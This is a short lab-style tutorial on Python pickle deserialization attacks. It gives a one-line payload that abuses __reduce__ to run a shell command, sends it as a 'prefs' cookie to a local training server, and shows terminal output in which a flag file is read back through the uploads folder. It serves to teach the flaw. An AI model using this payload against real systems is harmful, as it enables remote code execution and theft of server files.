Pickles that run code

Weaponising the pickle

A Python object can define __reduce__ to say “to rebuild me, call this function with these arguments.” Un-pickling obediently makes that call — so we build a one-line payload whose __reduce__ runs a shell command that copies a secret file into the public uploads folder, then read it back:

PREFS=$(python3 -c "import os,pickle,base64;print(base64.b64encode(pickle.dumps(type('E',(object,),{'__reduce__':lambda s:(os.system,('cat /srv/vt-target/internal/deser.txt > /srv/vt-target/uploads/loot',))})())).decode())")
curl -s --cookie "prefs=$PREFS" http://127.0.0.1:8080/app/session
curl -s http://127.0.0.1:8080/uploads/loot

In the terminal

student@vulntech:~$ PREFS=$(python3 -c "import os,pickle,base64;print(base64.b64encode(pickle.dumps(type('E',(object,),{'__reduce__':lambda s:(os.system,('cat /srv/vt-target/internal/deser.txt > /srv/vt-target/uploads/loot',))})())).decode())")
student@vulntech:~$ curl -s --cookie "prefs=$PREFS" http://127.0.0.1:8080/app/session
Loaded preferences: 0
student@vulntech:~$ curl -s http://127.0.0.1:8080/uploads/loot
vulntech{pickle_deserialization_is_rce}

The command ran as the web user while the server deserialized your cookie, and the secret came back through the uploads folder. Any format that rebuilds objects from untrusted bytes — Python pickle, PHP unserialize, Java serialization — can be abused this way.